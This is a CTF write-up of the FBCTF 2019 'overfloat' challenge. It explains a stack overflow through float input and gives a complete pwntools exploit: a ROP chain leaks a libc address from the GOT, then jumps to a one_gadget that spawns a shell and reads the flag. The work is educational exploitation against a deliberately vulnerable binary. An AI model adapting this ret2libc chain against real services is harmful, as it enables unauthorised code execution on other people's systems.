FBCTF 2019: Overfloat

Writeup of FBCTF 2019 Overfloat challenge.

I participated in FBCTF 2019 with my team glua.team where we ended 20th place. One of the challenges we solved was overfloat. I solved this together with my teammate mcd1992.

Analysis

The provided binary is a 64-bit ELF file called overfloat. Furthermore, a libc file called libc-2.27.so was provided. This means that we most likely have to do ret2libc or a onegadget.

Running checksec on the provided binary yields the following result:

[email protected]:~/Documents/ctf/fb/overfloat_$ checksec overfloat
[*] '/home/ling/Documents/ctf/fb/overfloat_/overfloat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This means that the stack isn’t executable and there is no PIE so we most likely have to use ROP.

Running the binary asks the user where they would like to go and then allows the user to input latitude and longitude coordinates. The output of the program can be seen on Figure 1.

Output of overfloat
Figure 1: Output of overfloat.

Reversing the binary

Opening up the binary in IDA shows that symbols aren’t stripped which is useful for us. The decompilation of the main function can be seen on Figure 2.

Decompilation of main
Figure 2: Decompilation of main.

This function just sets the timeout and prints the welcome message. After that it calls chart_course and passes a char array. This means that the vulnerability must be present in chart_course. The decompilation of this function can be seen on Figure 3.

Decompilation of chart_course
Figure 3: Decompilation of chart_course.

The function will get user input in an infite loop. The user can stop the program by issuing the command done. If it isn’t this command, the input is passed to atof which will convert the string to a float. This float is then moved into the buffer that was passed from main. Since there are no bounds checks and the buffer is only 40 bytes big, this allows us to smash the stack and overwrite the return pointer of main.

Using some maths we can calculate that we need to write 40 bytes (buffer) + 8 bytes (counter) + 8 bytes (saved base pointer) to overwrite the return pointer. The hard part of this challenge is that all values are floats so this has to be accounted for. To make exploiting easier, we decided to write 2 helper functions that will convert a value to it’s float representation.

1
2
3
4
5
6
def convert_to_float_bytes(val):
    return str(struct.unpack('!f', val.to_bytes(4, 'big'))[0]).encode('utf8')

def send_as_float(io, val):
    io.sendline(convert_to_float_bytes(val&0xFFFFFFFF)) # low bytes
    io.sendline(convert_to_float_bytes(val>>32)) # high bytes

Pwning the binary

Since PIE isn’t enabled, we don’t need an infoleak and jump straight to any gadgets we want. Because ASLR is enabled for libc, we will need to leak a libc address to calculate the base address of libc. This can be easily achieved by jumping to puts and making it print a function from the GOT. We chose to just print the address of puts itself. After that, we can make the program return to main so we can overwrite the return pointer again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
io.recvuntil(b'LAT[0]: ')
for i in range(0, 14):
    io.sendline(fpsingle_42424242)

# Send the target RIP as two floats
io.sendline(fpsingle_pop_rdi); io.sendline() # pop rdi; ret

# address to puts GOT and call it from the PLT
send_as_float(io, exe.got.puts)
send_as_float(io, exe.plt.puts)

# return to main
send_as_float(io, exe.symbols.main)

# send the first payload
io.sendline(b'done')

After this we can read the leaked puts address and calculate the libc base address.

1
2
3
4
5
6
7
8
# read our leaked puts GOT (0x7fd820667ee0) `00000000  e0 7e 66 20  d8 7f 0a       │·~f │···│`
io.readuntil(b'BON VOYAGE!\n')
puts_gotaddr_str = io.readuntil(b'\n').replace(b'\n', b'\x00\x00')
#print("type: %s \t len: %i" % (type(puts_gotaddr_str), len(puts_gotaddr_str)))
puts_gotaddr = u64(puts_gotaddr_str)
log.info("leaked puts address in GOT: 0x%x" % puts_gotaddr)
libc_baseaddr = puts_gotaddr - libc.symbols.puts
log.info("determined libc base address: 0x%x" % libc_baseaddr)

For the final part of the exploit we decided to just jump to a onegadget. We used one_gadget for this. Using the base address of libc and the offset we got from one_gadget, we could calculate the actual address of the gadget and then just jump to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# second payload
io.recvuntil(b'LAT[0]: ')
for i in range(0, 14):
    io.sendline(fpsingle_42424242)

# send a execve('/bin/sh') one_gadget with our libc offset
oneshots = one_gadget(libc_str)
oneshot = libc_baseaddr + oneshots[-1]
log.info("oneshot address in libc: 0x%x" % oneshot)
send_as_float(io, oneshot)
io.sendline(b'done')
io.readuntil(b'BON VOYAGE!\n')

# pwned
log.info('cat /home/overfloat/flag')
io.sendline(b'cat /home/overfloat/flag')
io.interactive()

Full script

The full exploit script we made is available below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host challenges.fbctf.com --port 1341 overfloat
from pwn import *
import subprocess
from IPython import embed

# Set up pwntools for the correct architecture
exe = context.binary = ELF('overfloat')
exe_gadgets = ROP(exe)
libc_str = '/usr/lib/libc-2.29.so' if args.LOCAL else './libc-2.27.so'
libc = ELF(libc_str)
#libc_gadgets = ROP(libc)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'challenges.fbctf.com'
port = int(args.PORT or 1341)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

def convert_to_float_bytes(val):
    return str(struct.unpack('!f', val.to_bytes(4, 'big'))[0]).encode('utf8')

def send_as_float(io, val):
    io.sendline(convert_to_float_bytes(val&0xFFFFFFFF)) # low bytes
    io.sendline(convert_to_float_bytes(val>>32)) # high bytes

def one_gadget(filename): # https://github.com/david942j/one_gadget
  return list(map(int, subprocess.check_output(['/home/sudouser/.gem/ruby/2.6.0/bin/one_gadget', '--raw', filename.encode('utf8')]).split(b' ')))

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x00400a1e
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

"""
There is a 40 byte buffer that we have a pointer to
We can write in 4 byte chunks, but it must be in ieee754_single_fp
They want the payload to be sent as a bunch of float values :^)
40 bytes are the 'intended' buffer area, 8 bytes for the counter, then RBP+RIP
This means we need to send 14 different floats to fill the buffer+counter, next 2 are RIP
"""

fpsingle_42424242 = b'48.56470489501953' #125'
fpsingle_69696969 = b'17636093834939853122306048'
pop_rdi = exe_gadgets.search(regs=['rdi']).address # find 'pop rdi; ret' gadget
pop_rsi_r15 = exe_gadgets.search(regs=['rsi']).address # '0x0000000000400a81: pop rsi; pop r15; ret;'
# oh god I cant find a pop rdx gadget... FUCK
fpsingle_pop_rdi = convert_to_float_bytes(pop_rdi)
fpsingle_pop_rsi_r15 = convert_to_float_bytes(pop_rsi_r15)

io = start()
io.recvuntil(b'LAT[0]: ')
for i in range(0, 14):
    io.sendline(fpsingle_42424242)

# Send the target RIP as two floats
io.sendline(fpsingle_pop_rdi); io.sendline() # pop rdi; ret

# address to puts GOT and call it from the PLT
send_as_float(io, exe.got.puts)
send_as_float(io, exe.plt.puts)

# return to main
send_as_float(io, exe.symbols.main)

# send the first payload
io.sendline(b'done')

# read our leaked puts GOT (0x7fd820667ee0) `00000000  e0 7e 66 20  d8 7f 0a       │·~f │···│`
io.readuntil(b'BON VOYAGE!\n')
puts_gotaddr_str = io.readuntil(b'\n').replace(b'\n', b'\x00\x00')
#print("type: %s \t len: %i" % (type(puts_gotaddr_str), len(puts_gotaddr_str)))
puts_gotaddr = u64(puts_gotaddr_str)
log.info("leaked puts address in GOT: 0x%x" % puts_gotaddr)
libc_baseaddr = puts_gotaddr - libc.symbols.puts
log.info("determined libc base address: 0x%x" % libc_baseaddr)

# second payload
io.recvuntil(b'LAT[0]: ')
for i in range(0, 14):
    io.sendline(fpsingle_42424242)

# send a execve('/bin/sh') one_gadget with our libc offset
oneshots = one_gadget(libc_str)
oneshot = libc_baseaddr + oneshots[-1]
log.info("oneshot address in libc: 0x%x" % oneshot)
send_as_float(io, oneshot)
io.sendline(b'done')
io.readuntil(b'BON VOYAGE!\n')

log.info('cat /home/overfloat/flag')
io.sendline(b'cat /home/overfloat/flag')
io.interactive()